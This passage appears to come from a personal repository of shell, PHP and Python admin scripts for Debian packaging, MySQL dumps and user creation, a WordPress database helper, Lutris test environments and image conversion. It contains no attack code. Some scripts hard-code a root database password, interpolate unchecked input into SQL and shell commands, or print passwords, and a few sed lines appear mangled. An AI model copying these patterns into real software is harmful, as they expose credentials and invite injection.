| 30 | #control file 31 | sed -i -e 's|Homepage: .*|Homepage: '$PROJECTURL'|' control 32 | sed -i -e 's|Architecture: .*|Architecture: all|' control 33 | sed -i -e 's|Section: .*|Section: '$SECTION'|' control 34 | sed -i -e 's|Priority: .*|Priority: '$PRIORITY'|' control 35 | sed -i -e 's|Description: .*|Description: '"$PROJECTDESC"'|' control 36 | sed -i -e 's| $CGROUP_PATH/net_cls.classid 23 | iptables -A OUTPUT -m cgroup --cgroup $CGROUP_CLASSID -j DROP 24 | } 25 | 26 | function BlockPid { 27 | local pid=$1 28 | 29 | if [ ! -d $CGROUP_PATH ]; then 30 | SetupCGroup 31 | fi 32 | if [ ! -d /proc/$pid ]; then 33 | echo "$pid isn't a valid PID" 34 | exit 2 35 | fi 36 | echo "Blocking all network traffic for $(readlink /proc/$pid/exe)" 37 | echo $pid > $CGROUP_PATH/tasks 38 | } 39 | 40 | function UnblockPid { 41 | local pid=$1 42 | if [ "$pid" == "all" ]; then 43 | echo "Unblocking all pids" 44 | cd $CGROUP_PATH 45 | for pid in $(cat tasks); do echo $pid > ../tasks; done 46 | else 47 | echo "Unblocking pid $pid" 48 | echo $pid > $CGROUP_ROOT/tasks 49 | fi 50 | } 51 | 52 | PARAMS=`getopt -n $0 -o uh --long unblock,help -- "$@"` 53 | eval set -- "$PARAMS" 54 | while true ; do 55 | case "$1" in 56 | -u|--unblock) unblock=1; shift ;; 57 | -h|--help) usage ; exit 1 ;; 58 | --) pid=$2 ; shift ; break ;; 59 | *) usage ; exit 2 ;; 60 | esac 61 | done 62 | 63 | if [ ! "$pid" ]; then 64 | usage 65 | exit 2 66 | fi 67 | 68 | if [ "$unblock" = "1" ]; then 69 | UnblockPid $pid 70 | else 71 | BlockPid $pid 72 | fi 73 | 74 | -------------------------------------------------------------------------------- /geoip-install: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | data_dir=$HOME 6 | geoip_dir=GeoLiteCity_20100701 7 | geoip_path=$data_dir'/'$geoip_dir'.zip' 8 | geoip_md5=8e6850e5f6e8e672b8317877034b55f2 9 | geoip_url="http://geolite.maxmind.com/download/geoip/database/GeoLiteCity_CSV/" 10 | tmp_dir='/tmp/geoip' 11 | 12 | checkmd5() 13 | { 14 | md5_result=$(md5sum $1 | awk '{ print $1 }') 15 | if [ "$md5_result" = "$2" ] ; then 16 | echo "ok" 17 | else 18 | echo "bad_checksum" 19 | fi 20 | } 21 | 22 | valid=$(checkmd5 $geoip_path $geoip_md5) 23 | 24 | if [ $valid = "bad_checksum" ] ; then 25 | echo "Corrupt file" 26 | exit 2 27 | fi 28 | 29 | if [ -d $tmp_dir ] ; then 30 | rm -r $tmp_dir 31 | fi 32 | mkdir -p $tmp_dir 33 | unzip $geoip_path -d $tmp_dir 34 | 35 | mysql --user=root --password=admin mysql << EOQ 36 | DROP DATABASE IF EXISTS geoip; 37 | GRANT USAGE ON *.* TO 'geoip'@'localhost'; 38 | REVOKE ALL PRIVILEGES ON *.* FROM geoip@localhost; 39 | DROP USER 'geoip'@'localhost'; 40 | FLUSH PRIVILEGES; 41 | CREATE USER 'geoip'@'localhost' IDENTIFIED BY 'geoip'; 42 | GRANT USAGE ON * . * TO 'geoip'@'localhost' IDENTIFIED BY 'geoip' WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0 ; 43 | CREATE DATABASE IF NOT EXISTS geoip ; 44 | GRANT ALL PRIVILEGES ON geoip . * TO 'geoip'@'localhost'; 45 | FLUSH PRIVILEGES; 46 | EOQ 47 | 48 | mysql --user=geoip --password=geoip geoip << EOQ 49 | 50 | EOQ 51 | 52 | cd $tmp_dir'/'$geoip_dir 53 | 54 | #sudo cp GeoLiteCity-Location.csv /var/lib/mysql/geoip/blocks.csv 55 | #mysqlimport --fields-terminated-by="," --fields-optionally-enclosed-by="\"" --lines-terminated-by="\n" --host=localhost --user=root --password=password geoip csv.csv 56 | #sudo rm /var/lib/mysql/geoip/blocks.csv 57 | 58 | 59 | #rm -r $tmp_dir 60 | 61 | -------------------------------------------------------------------------------- /lutris-env: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | 6 | move() { 7 | if [[ -e ~/.local/share/lutris.b ]]; then 8 | echo "Destination already exists" 9 | exit 2 10 | fi 11 | echo "Moving production files to a safe location" 12 | mv ~/.local/share/lutris ~/.local/share/lutris.b 13 | mv ~/.cache/lutris ~/.cache/lutris.b 14 | mv ~/.config/lutris ~/.config/lutris.b 15 | } 16 | 17 | restore() { 18 | if [[ ! -e ~/.local/share/lutris.b ]]; then 19 | echo "Production files are already present" 20 | exit 2 21 | fi 22 | if [[ -e ~/.local/share/lutris.test ]]; then 23 | echo "Test files are already present" 24 | exit 2 25 | fi 26 | echo "Saving test environment" 27 | if [ -d ~/.local/share/lutris ]; then 28 | mv ~/.local/share/lutris ~/.local/share/lutris.test 29 | mv ~/.cache/lutris ~/.cache/lutris.test 30 | mv ~/.config/lutris ~/.config/lutris.test 31 | fi 32 | 33 | echo "Restoring production settings" 34 | mv ~/.local/share/lutris.b ~/.local/share/lutris 35 | mv ~/.cache/lutris.b ~/.cache/lutris 36 | mv ~/.config/lutris.b ~/.config/lutris 37 | } 38 | 39 | clean() { 40 | echo "Clearing test environment" 41 | rm -rf ~/.local/share/lutris.test 42 | rm -rf ~/.cache/lutris.test 43 | rm -rf ~/.config/lutris.test 44 | } 45 | 46 | info() { 47 | du -h --max-depth=0 ~/.local/share/lutris* 48 | du -h --max-depth=0 ~/.config/lutris* 49 | du -h --max-depth=0 ~/.cache/lutris* 50 | } 51 | 52 | sql() { 53 | sqliteman ~/.local/share/lutris/pga.db 54 | } 55 | 56 | reset() { 57 | echo "Resetting environment" 58 | restore 59 | clean 60 | move 61 | } 62 | help() { 63 | echo "Commands:" 64 | echo "move: Moves the lutris files to a safe directory" 65 | echo "restore: Restores the original lutris files" 66 | echo "clean: Remove the test environment" 67 | echo "info: Prints the current setup" 68 | echo "sql: opens the lutris db in sqliteman" 69 | } 70 | 71 | $1 72 | -------------------------------------------------------------------------------- /mysql-benchmark: -------------------------------------------------------------------------------- 1 | #!/usr/bin/php 2 | 'localhost', 6 | 'username' => 'root', 7 | 'password' => 'admin', 8 | ); 9 | 10 | $link = mysql_connect( 11 | $db_params['host'], 12 | $db_params['username'], 13 | $db_params['password']); 14 | 15 | if (!$link) { 16 | die("Can't connect to mysql"); 17 | } 18 | 19 | mysql_query('CREATE DATABASE benchmark'); 20 | 21 | mysql_select_db('benchmark', $link); 22 | 23 | mysql_query("CREATE TABLE `benchmark`.`benchtable` " 24 | . "(`id` INT( 11 ) NOT NULL AUTO_INCREMENT PRIMARY KEY ," 25 | . " `token` VARCHAR( 16 ) NULL DEFAULT NULL " 26 | . ") ENGINE = INNODB"); 27 | 28 | $n_rows = 1000; 29 | echo "Inserting $n_rows rows ...\n"; 30 | $start_time = microtime(true); 31 | for($i=1; $i < $n_rows + 1 ; $i++) { 32 | $token = base_convert(sha1($i),7, 36); 33 | mysql_query("INSERT INTO benchtable (id, token) VALUES (".$i.", '".$token."')"); 34 | } 35 | $end_time = microtime(true); 36 | 37 | $insert_time = $end_time - $start_time; 38 | echo "Inserted $n_rows rows in " . $insert_time . " seconds \n"; 39 | echo "Approx. " . $n_rows / $insert_time . " inserts per second\n\n"; 40 | 41 | echo "Selecting $n_rows rows ...\n"; 42 | $start_time = microtime(true); 43 | $result = mysql_query("select * FROM benchtable"); 44 | $end_time = microtime(true); 45 | 46 | $select_time = $end_time - $start_time; 47 | echo "Selected $n_rows rows in " . $select_time . " seconds \n"; 48 | echo "Approx. " . $n_rows / $select_time . " selects per second\n\n"; 49 | 50 | echo "Updating $n_rows rows ...\n"; 51 | $start_time = microtime(true); 52 | while($row = mysql_fetch_assoc($result)) { 53 | $token = md5($row['token']); 54 | mysql_query("UPDATE benchtable SET token='$token' WHERE id=" . $row['id']); 55 | } 56 | $end_time = microtime(true); 57 | 58 | $update_time = $end_time - $start_time; 59 | echo "Updated $n_rows rows in " . $update_time . " seconds \n"; 60 | echo "Approx. " . $n_rows / $update_time . " updates per second\n"; 61 | 62 | mysql_query('DROP DATABASE benchmark'); 63 | 64 | -------------------------------------------------------------------------------- /imagedir2pdf: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # imagedir2pdf : Convert a directory of images to a single PDF 4 | # 5 | # 6 | # Version 0.1 (2011/03/03) 7 | # (c) 2011 Mathieu Comandon 8 | # Licensed under the terms of the GPL Version 3 9 | # 10 | 11 | 12 | set -e 13 | 14 | usage() 15 | { 16 | cat << EOF 17 | Usage: $0 [OPTION]... destination 18 | Convert a directory of images to a single PDF file 19 | 20 | OPTIONS: 21 | -i, --input Directory to convert (Default: current directory) 22 | -m, --method Method used to convert to PDF (convert or sam2p, default to convert) 23 | EOF 24 | } 25 | 26 | 27 | # Parse arguments 28 | if [ "$#" -eq 0 ] ; then 29 | usage 30 | exit 2 31 | fi 32 | 33 | PARAMS=$(getopt -n $0 -o i:m:h --long input:,method:help -- "$@") 34 | eval set -- "$PARAMS" 35 | while true ; do 36 | case "$1" in 37 | -i|--input) input_dir=$2 ; shift 2 ;; 38 | -m|--method) method=$2 ; shift 2 ;; 39 | --) dest_dir=$2 ; shift ; break ;; 40 | -h|--help) usage ; exit 2 ;; 41 | *) usage ; exit 2 ;; 42 | esac 43 | done 44 | 45 | if [ ! -d "$dest_dir" ] ; then 46 | echo "$dest_dir is not valid destination!" 47 | exit 2 48 | fi 49 | 50 | if [ -z "$dest_dir" ] ; then 51 | echo "You must specify an output dir!" 52 | exit 2 53 | fi 54 | 55 | if [ "$method" != "sam2p" ] ; then 56 | method="convert" 57 | fi 58 | 59 | if [ -z $(which $method) ] ; then 60 | echo "You must install $method to continue " 61 | exit 2 62 | fi 63 | 64 | if [ -z $(which pdftk) ] ; then 65 | echo "You must install pdftk to continue " 66 | exit 2 67 | fi 68 | 69 | if [ -z "$input_dir" ] ; then 70 | input_dir=$PWD 71 | fi 72 | pdfname=$(basename $input_dir) 73 | oldpwd=$PWD 74 | cd $input_dir 75 | IFS=$(echo -en "\n\b") 76 | shopt -s extglob 77 | temp_dir=$(mktemp -d) 78 | index=1 79 | 80 | for image in $(ls *(*.jpg|*.png)) ; do 81 | $method $image $temp_dir/page$(printf "%03d" $index).pdf 82 | let index=$index+1 83 | done 84 | 85 | pdftk ${temp_dir}/*.pdf cat output ${dest_dir}/${pdfname}.pdf 86 | 87 | rm -r $temp_dir 88 | cd $oldpwd 89 | 90 | -------------------------------------------------------------------------------- /plesk-fix-vhosts.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import re, shutil, os 3 | import os.path 4 | 5 | vhost_conf_list_path = "/opt/psa/admin/conf/vhosts_bootstrap.conf" 6 | vhost_conf_list = open(vhost_conf_list_path, "r") 7 | server_name_re = re.compile(".*?ServerName.*?\"(.*?):\d+\"") 8 | server_alias_re = re.compile(".*?ServerAlias.*?") 9 | vhost_conf_re = re.compile("Include '(.*?)'") 10 | 11 | for vhost_conf in vhost_conf_list.readlines(): 12 | num_server_name = 0 13 | num_server_alias = 0 14 | match =vhost_conf_re.match(vhost_conf) 15 | if match: 16 | vhost_conf_path = match.group(1) 17 | else: 18 | continue 19 | vhost_conf = open(vhost_conf_path, "r") 20 | vhost_contents = vhost_conf.readlines() 21 | vhost_conf.close() 22 | # Uncomment the following lines to make a backup of you vhosts 23 | #vhost_filename = os.path.basename(vhost_conf_path) 24 | #vhost_dir = os.path.dirname(vhost_conf_path) 25 | #domain = vhost_dir.split('/')[-2] 26 | #if domain == 'conf': 27 | # continue 28 | #print domain 29 | #os.mkdir(os.path.join('/root/vhosts/', domain)) 30 | #shutil.copyfile(vhost_conf_path, os.path.join('/root/vhosts', domain, vhost_filename)) 31 | #continue 32 | for vhost_line in vhost_contents: 33 | server_match = server_name_re.match(vhost_line) 34 | if server_match: 35 | hostname = server_match.group(1) 36 | num_server_name += 1 37 | alias_match = server_alias_re.match(vhost_line) 38 | if alias_match: 39 | num_server_alias += 1 40 | if num_server_alias == num_server_name: 41 | continue 42 | for index in range(len(vhost_contents) - 1): 43 | server_match = server_name_re.match(vhost_contents[index]) 44 | alias_match = server_alias_re.match(vhost_contents[index + 1]) 45 | if server_match and not alias_match: 46 | vhost_contents.insert(index + 1, " ServerAlias www.%s\n" % hostname) 47 | vhost_conf = open(vhost_conf_path, "w") 48 | for line in vhost_contents: 49 | vhost_conf.write(line) 50 | vhost_conf.close() 51 | 52 | -------------------------------------------------------------------------------- /package_redirector: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | #sudo apt-get install dh-make devscripts cdbs build-essential fakeroot 5 | 6 | PKGNAME="synologyredirector" 7 | VER="0.2" 8 | SOURCE_DIR="/home/strider/dev/redirector/" 9 | PKG_DIR="/home/strider/dev/packaging/"$PKGNAME"-"$VER 10 | SECTION="x11" 11 | PRIORITY="optional" 12 | PROJECTURL="https://launchpad.net/synologyredirector" 13 | PROJECTDESC="Synology Download Redirector for Linux" 14 | PROJECTLONGDESC=" This is the Linux port of the tool made by Synology to redirect \ 15 | bittorrents to the NAS download client.\ 16 | \n It allows you to drag torrent files and links to a drop box and monitor your \ 17 | downloads." 18 | DEPENDS="python2.6, python-gtk2, python-glade2" 19 | export DEBFULLNAME="Mathieu Comandon" 20 | export DEBEMAIL="strycore@gmail.com" 21 | rm -rf $PKG_DIR 22 | mkdir -p $PKG_DIR 23 | cd $PKG_DIR 24 | 25 | cp $SOURCE_DIR/* $PKG_DIR -R 26 | rm src/*.pyc 27 | tar cvzf ../${PKGNAME}"_"${VER}.orig.tar.gz ../${PKGNAME}-${VER}/ 28 | dh_make -c gpl -s -b 29 | 30 | cd debian 31 | rm *ex *EX README.Debian dirs 32 | 33 | #control file 34 | sed -i -e 's|Homepage: .*|Homepage: '$PROJECTURL'|' control 35 | sed -i -e 's|Architecture: .*|Architecture: all\nXB-Python-Version: ${python:Versions}|' control 36 | sed -i -e 's|Section: .*|Section: '$SECTION'|' control 37 | sed -i -e 's|Priority: .*|Priority: '$PRIORITY'|' control 38 | sed -i -e 's|Description: .*|Description: '"$PROJECTDESC"'|' control 39 | sed -i -e 's| =0.6.0)|' control 42 | sed -i -e "/Standards-Version:/ a\ 43 | XS-Python-Version: >=2.6" control 44 | 45 | #rules file 46 | sed -i -e "/make -f/ a\ 47 | DEB_PYTHON_SYSTEM=pycentral" rules 48 | 49 | sed -i -e 's|include /usr/share/cdbs/1/class/makefile.mk|include /usr/share/cdbs/1/class/python-distutils.mk|' rules 50 | 51 | #copyright 52 | #TODO : put the copyright stuff here 53 | 54 | #Changelog 55 | sed -i -e "s/unstable/jaunty/" changelog 56 | sed -i -e "s|\(Initial release\).*|\1|" changelog 57 | 58 | cd .. 59 | debuild -S -sa 60 | #debuild -us -uc 61 | 62 | -------------------------------------------------------------------------------- /mysql-autodump: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # mysql-autodump : Dumps a MySQL database with the schema and data 4 | # 5 | # Version 0.2 (2010/07/21) 6 | # (c) 2010 Mathieu Comandon 7 | # Licensed under the terms of the GPL Version 3 8 | # 9 | 10 | set -e 11 | 12 | gzip_enable=0 13 | destdir='/tmp' 14 | 15 | usage() 16 | { 17 | cat << EOF 18 | Usage: $0 --user=mysql_user --password=mysql_password --database=mysql_database 19 | Dumps a MySQL database with the schema and data 20 | 21 | OPTIONS: 22 | -u, --user=user MySQL user 23 | -p, --password=password MySQL password 24 | -d, --database=database Name of the database 25 | -o, --output-dir Write dump file to this directory (Default: /tmp) 26 | -z, --gzip gzip the dumpfile ( Default: disabled ) 27 | -h, --help Prints this message 28 | EOF 29 | } 30 | 31 | #Parse arguments 32 | if [ "$#" -eq 0 ] ; then 33 | usage 34 | exit 2 35 | fi 36 | PARAMS=`getopt -n $0 -o u:p:d:o:hz --long user:,password:,database:,output_dir:,help,gzip -- "$@"` 37 | eval set -- "$PARAMS" 38 | while true ; do 39 | case "$1" in 40 | -u|--user) mysql_user=$2; shift 2 ;; 41 | -p|--password) mysql_password=$2 ; shift 2 ;; 42 | -d|--database) mysql_database=$2 ; shift 2 ;; 43 | -o|--output-dir) destdir=$2 ; shift 2 ;; 44 | -z|--gzip) gzip_enable=1 ; shift ;; 45 | -h|--help) usage ; exit 1 ;; 46 | --) shift ; break ;; 47 | *) usage ; exit 2 ;; 48 | esac 49 | done 50 | 51 | #Error checking 52 | error_state=0; 53 | 54 | if [ -z "$mysql_user" ] ; then 55 | echo "You MUST specify MySQL user !" 56 | error_state=1 57 | fi 58 | 59 | if [ -z "$mysql_password" ] ; then 60 | echo "You MUST specify MySQL password !" 61 | error_state=1 62 | fi 63 | 64 | if [ -z "$mysql_database" ] ; then 65 | echo "You MUST specify MySQL database !" 66 | error_state=1 67 | fi 68 | 69 | if [ ! -d "$destdir" ] ; then 70 | echo "Destination directory doesn't exist !" 71 | error_state=1 72 | fi 73 | 74 | if [ "$error_state" = 1 ] ; then 75 | echo "There are errors in your arguments, exiting." 76 | exit 2 77 | fi 78 | 79 | dumpfile=$destdir'/'$mysql_database'-'$(date +%Y%m%d%H%M)'.sql' 80 | 81 | mysqldump --user=$mysql_user --password=$mysql_password $mysql_database > $dumpfile 82 | if [ "$gzip_enable" = 1 ] ; then 83 | gzip $dumpfile 84 | dumpfile=$dumpfile".gz" 85 | fi 86 | echo $dumpfile 87 | exit 0 88 | 89 | -------------------------------------------------------------------------------- /mysql-create-user: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # mysql-create-user : Create a new user and database on your local mysql server 4 | # 5 | # Version 0.1 (2010/09/01) 6 | # (c) 2010 Mathieu Comandon 7 | # Licensed under the terms of the GPL Version 3 8 | # 9 | 10 | set -e 11 | 12 | usage() 13 | { 14 | cat << EOF 15 | Usage: $0 --user=mysql_user --password=mysql_password 16 | Create a new user and database on your local mysql server 17 | 18 | OPTIONS: 19 | -u, --user=user MySQL user 20 | -p, --password=password MySQL password 21 | -r, --root-password MySQL root password 22 | -h, --help Prints this message 23 | EOF 24 | } 25 | 26 | verbose=false 27 | 28 | #Parse arguments 29 | if [ "$#" -eq 0 ] ; then 30 | usage 31 | exit 2 32 | fi 33 | PARAMS=`getopt -n $0 -o u:p:r:h:v --long user:,password:,root-password:,help,verbose -- "$@"` 34 | eval set -- "$PARAMS" 35 | while true ; do 36 | case "$1" in 37 | -u|--user) mysql_user=$2; shift 2 ;; 38 | -p|--password) mysql_password=$2 ; shift 2 ;; 39 | -r|--root-password) root_password=$2 ; shift 2 ;; 40 | -h|--help) usage ; exit 1 ;; 41 | -v|--verbose) verbose=true ; shift ;; 42 | --) shift ; break ;; 43 | *) usage ; exit 2 ;; 44 | esac 45 | done 46 | #Error checking 47 | error_state=0; 48 | 49 | if [ -z "$mysql_user" ] ; then 50 | echo "You MUST specify MySQL user !" 51 | error_state=1 52 | fi 53 | 54 | if [ -z "$mysql_password" ] ; then 55 | echo "You MUST specify MySQL password !" 56 | error_state=1 57 | fi 58 | 59 | if [ "$error_state" = 1 ] ; then 60 | echo "There are errors in your arguments, exiting." 61 | exit 2 62 | fi 63 | 64 | if [ $verbose == true ]; then 65 | echo "Creating user \"$mysql_user\" with associated database" 66 | echo "Password: \"$mysql_password\"" 67 | echo "Root password: \"$root_password\"" 68 | fi 69 | 70 | cd /tmp 71 | cat > create_user.sql << EOF 72 | GRANT USAGE ON *.* TO '$mysql_user'@'localhost'; 73 | DROP USER '$mysql_user'@'localhost'; 74 | DROP DATABASE IF EXISTS $mysql_user ; 75 | CREATE USER '$mysql_user'@'localhost' IDENTIFIED BY '$mysql_password'; 76 | GRANT USAGE ON * . * TO '$mysql_user'@'localhost' IDENTIFIED BY '$mysql_password' WITH MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0 MAX_UPDATES_PER_HOUR 0 MAX_USER_CONNECTIONS 0; 77 | CREATE DATABASE IF NOT EXISTS $mysql_user character set utf8; 78 | GRANT ALL PRIVILEGES ON $mysql_user . * TO '$mysql_user'@'localhost'; 79 | EOF 80 | mysql -uroot -p"$root_password" < create_user.sql 81 | rm create_user.sql 82 | -------------------------------------------------------------------------------- /mysql-autodump-table: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # mysql-autodump-table : Dumps a MySQL database with the schema and data 4 | # 5 | # Version 0.2 (2010/07/21) 6 | # (c) 2010 Mathieu Comandon / Julien Barbotin 7 | # Licensed under the terms of the GPL Version 3 8 | # 9 | 10 | set -e 11 | 12 | gzip_enable=0 13 | destdir='/tmp' 14 | 15 | usage() 16 | { 17 | cat << EOF 18 | Usage: $0 --user=mysql_user --password=mysql_password --database=mysql_database --table=table_name 19 | Dumps a MySQL table with the schema and data 20 | 21 | OPTIONS: 22 | -u, --user=user MySQL user 23 | -p, --password=password MySQL password 24 | -d, --database=database Name of the database 25 | -t, --table=table Name of the table to dump 26 | -o, --output-dir Write dump file to this directory (Default: /tmp) 27 | -z, --gzip gzip the dumpfile ( Default: disabled ) 28 | -h, --help Prints this message 29 | EOF 30 | } 31 | 32 | #Parse arguments 33 | if [ "$#" -eq 0 ] ; then 34 | usage 35 | exit 2 36 | fi 37 | PARAMS=`getopt -n $0 -o u:p:d:o:hz --long user:,password:,database:,table:,output_dir:,help,gzip -- "$@"` 38 | eval set -- "$PARAMS" 39 | while true ; do 40 | case "$1" in 41 | -u|--user) mysql_user=$2; shift 2 ;; 42 | -p|--password) mysql_password=$2 ; shift 2 ;; 43 | -d|--database) mysql_database=$2 ; shift 2 ;; 44 | -t|--table) table=$2 ; shift 2 ;; 45 | -o|--output-dir) destdir=$2 ; shift 2 ;; 46 | -z|--gzip) gzip_enable=1 ; shift ;; 47 | -h|--help) usage ; exit 1 ;; 48 | --) shift ; break ;; 49 | *) usage ; exit 2 ;; 50 | esac 51 | done 52 | 53 | #Error checking 54 | error_state=0; 55 | 56 | if [ -z "$mysql_user" ] ; then 57 | echo "You MUST specify MySQL user !" 58 | error_state=1 59 | fi 60 | 61 | if [ -z "$mysql_password" ] ; then 62 | echo "You MUST specify MySQL password !" 63 | error_state=1 64 | fi 65 | 66 | if [ -z "$mysql_database" ] ; then 67 | echo "You MUST specify MySQL database !" 68 | error_state=1 69 | fi 70 | 71 | if [ -z "$table" ] ; then 72 | echo "You MUST specify database table !" 73 | error_state=1 74 | fi 75 | 76 | if [ ! -d "$destdir" ] ; then 77 | echo "Destination directory doesn't exist !" 78 | error_state=1 79 | fi 80 | 81 | if [ "$error_state" = 1 ] ; then 82 | echo "There are errors in your arguments, exiting." 83 | exit 2 84 | fi 85 | 86 | dumpfile=$destdir'/'$mysql_database'-'$table'-'$(date +%Y%m%d%H%M)'.sql' 87 | 88 | mysqldump --user=$mysql_user --password=$mysql_password $mysql_database $table > $dumpfile 89 | if [ "$gzip_enable" = 1 ] ; then 90 | gzip $dumpfile 91 | dumpfile=$dumpfile".gz" 92 | fi 93 | echo $dumpfile 94 | exit 0 95 | 96 | -------------------------------------------------------------------------------- /wordpress: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import os 3 | from os.path import dirname, abspath, join, exists 4 | from platform import node 5 | import sys 6 | 7 | ROOT_DIR = dirname(dirname(abspath(__file__))) 8 | 9 | 10 | def clean_define(define): 11 | _, output = define.split(",") 12 | output = output.strip() 13 | output = output.strip(";") 14 | output = output.strip(")") 15 | output = output.strip("'") 16 | return output 17 | 18 | 19 | def read_wp_config(): 20 | config = file(join(ROOT_DIR, "wp-config.php"), "r").readlines() 21 | db_settings = {} 22 | for line in config: 23 | if "DB_PASSWORD" in line: 24 | db_settings['password'] = clean_define(line) 25 | if "DB_USER" in line: 26 | db_settings['user'] = clean_define(line) 27 | if "DB_NAME" in line: 28 | db_settings['name'] = clean_define(line) 29 | return db_settings 30 | 31 | 32 | def inject_db(): 33 | dump_file = join(ROOT_DIR, "sql/%s.sql" % DB_SETTINGS["name"]) 34 | if not exists(dump_file): 35 | raise ValueError("No dump found in %s" % dump_file) 36 | dump_temp = join(ROOT_DIR, "sql/tempdump.sql") 37 | 38 | with open(dump_file, "r") as dump: 39 | lines = dump.readlines() 40 | with open(dump_temp, "w") as dump: 41 | for line in lines: 42 | dump.write(line.replace("%HOSTNAME%", get_hostname() + "/" )) 43 | cmd = "mysql -u%(user)s -p%(password)s %(name)s" % DB_SETTINGS + \ 44 | " < %s" % dump_temp 45 | os.system(cmd) 46 | os.remove(dump_temp) 47 | 48 | def dump_db(): 49 | dump_cmd = "mysqldump -u%(user)s -p%(password)s %(name)s" % DB_SETTINGS 50 | dump_raw = join(ROOT_DIR, "sql/tempdump.sql") 51 | dump_cmd = "%s > %s" % (dump_cmd, dump_raw) 52 | os.system(dump_cmd) 53 | 54 | dump_file = join(ROOT_DIR, "sql/%s.sql" % (DB_SETTINGS['name'])) 55 | 56 | with open(dump_raw, "r") as dump: 57 | lines = dump.readlines() 58 | with open(dump_file, "w") as dump: 59 | for line in lines: 60 | dump.write(line.replace(get_hostname(), "%HOSTNAME%")) 61 | os.remove(dump_raw) 62 | 63 | 64 | def get_hostname(): 65 | current_host = "%s.%s" % (DB_SETTINGS["name"], node()) 66 | return current_host 67 | 68 | def create_db(): 69 | os.system("mysql-create-user -u %(name)s -p%(password)s" % DB_SETTINGS) 70 | 71 | 72 | def print_usage(): 73 | print "RTFS" 74 | 75 | 76 | DB_SETTINGS = read_wp_config() 77 | 78 | if __name__ == "__main__": 79 | if len(sys.argv) < 2: 80 | print_usage() 81 | exit(2) 82 | command = sys.argv[1] 83 | if command in ("dump", "save"): 84 | dump_db() 85 | elif command in ("inject", "load"): 86 | inject_db() 87 | elif command == "create": 88 | create_db() 89 | else: 90 | print_usage 91 | 92 | -------------------------------------------------------------------------------- /aur-update: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | """Utility script to update Lutris PKGBUILD""" 3 | import os 4 | import sys 5 | import hashlib 6 | import requests 7 | 8 | RELEASE_URL = "https://lutris.net/releases/lutris_%s.tar.xz" 9 | 10 | 11 | def fetch_version(version): 12 | """Download lutris archive""" 13 | file_dest = "lutris_%s.tar.xz" % version 14 | if os.path.exists(file_dest): 15 | raise OSError("File already exists") 16 | 17 | response = requests.get(RELEASE_URL % version) 18 | with open("lutris_%s.tar.xz" % version, 'wb') as release_archive: 19 | release_archive.write(response.content) 20 | 21 | 22 | def get_hash(version): 23 | """Return SHA256 checksum for release archive""" 24 | file_dest = "lutris_%s.tar.xz" % version 25 | if not os.path.exists(file_dest): 26 | raise OSError("$s does not already exists" % file_dest) 27 | with open(file_dest, 'rb') as release_archive: 28 | content = release_archive.read() 29 | return hashlib.sha256(content).hexdigest() 30 | 31 | 32 | def update_pkgbuild(version, release_hash): 33 | """Update PKGBUILD for new version""" 34 | new_pkgbuild_lines = [] 35 | with open('PKGBUILD', 'r') as pkgbuild: 36 | for line in pkgbuild.readlines(): 37 | if line.startswith("pkgver="): 38 | line = "pkgver=%s\n" % version 39 | elif line.startswith("sha256sums"): 40 | line = "sha256sums=('%s')\n" % release_hash 41 | new_pkgbuild_lines.append(line) 42 | with open('PKGBUILD', 'w') as pkgbuild_new: 43 | pkgbuild_new.writelines(new_pkgbuild_lines) 44 | 45 | 46 | def update_srcinfo(version, release_hash): 47 | """Update .SRCINFO for new version""" 48 | new_srcinfo_lines = [] 49 | with open('.SRCINFO', 'r') as srcinfo: 50 | for line in srcinfo.readlines(): 51 | if 'pkgver = ' in line: 52 | line_prefix, _ = line.split(' = ') 53 | line = "%s = %s\n" % (line_prefix, version) 54 | elif 'source = ' in line: 55 | line_prefix, _ = line.split(' = ') 56 | line = "%s = %s\n" % (line_prefix, RELEASE_URL % version) 57 | elif 'sha256sums = ' in line: 58 | line_prefix, _ = line.split(' = ') 59 | line = "%s = %s\n" % (line_prefix, release_hash) 60 | new_srcinfo_lines.append(line) 61 | with open('.SRCINFO', 'w') as srcinfo: 62 | srcinfo.writelines(new_srcinfo_lines) 63 | 64 | 65 | def update_aur(version): 66 | """Update AUR files""" 67 | if not os.path.exists("lutris_%s.tar.xz" % version): 68 | fetch_version(version) 69 | release_hash = get_hash(version) 70 | update_pkgbuild(version, release_hash) 71 | update_srcinfo(version, release_hash) 72 | 73 | 74 | if __name__ == '__main__': 75 | update_aur(sys.argv[1]) 76 | -------------------------------------------------------------------------------- /imageresize: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # imagecrop : Resize and crop image to specified size 4 | # 5 | # Version 0.2 (2010/07/21) 6 | # (c) 2010 Mathieu Comandon 7 | # Licensed under the terms of the GPL Version 3 8 | # 9 | set -e 10 | 11 | CONVERT=convert 12 | 13 | if [ -z $(which $CONVERT) ] ; then 14 | echo "imagemagick is not installed" 15 | exit 2 16 | fi 17 | 18 | usage() 19 | { 20 | cat << EOF 21 | Usage: $0 22 | Resize an image to a given maximum size 23 | 24 | OPTIONS: 25 | -d, --dir=PATH Input directory containing the images to convert 26 | -s, --size=SIZE Maximum size of the output image 27 | -r, --keep-ratio Keep ratio, do not make a square image 28 | -v, --verbose Verbose mode 29 | -h, --help Prints this message 30 | EOF 31 | } 32 | 33 | #Parse arguments 34 | if [ "$#" -eq 0 ] ; then 35 | usage 36 | exit 2 37 | fi 38 | 39 | PARAMS=`getopt -n $0 -o d:s:rvh --long dir:,size:,keep-ratio,verbose,help -- "$@"` 40 | eval set -- "$PARAMS" 41 | while true ; do 42 | case "$1" in 43 | -d|--dir) basedir=$2; shift 2 ;; 44 | -s|--size) size=$2; shift 2 ;; 45 | -h|--help) 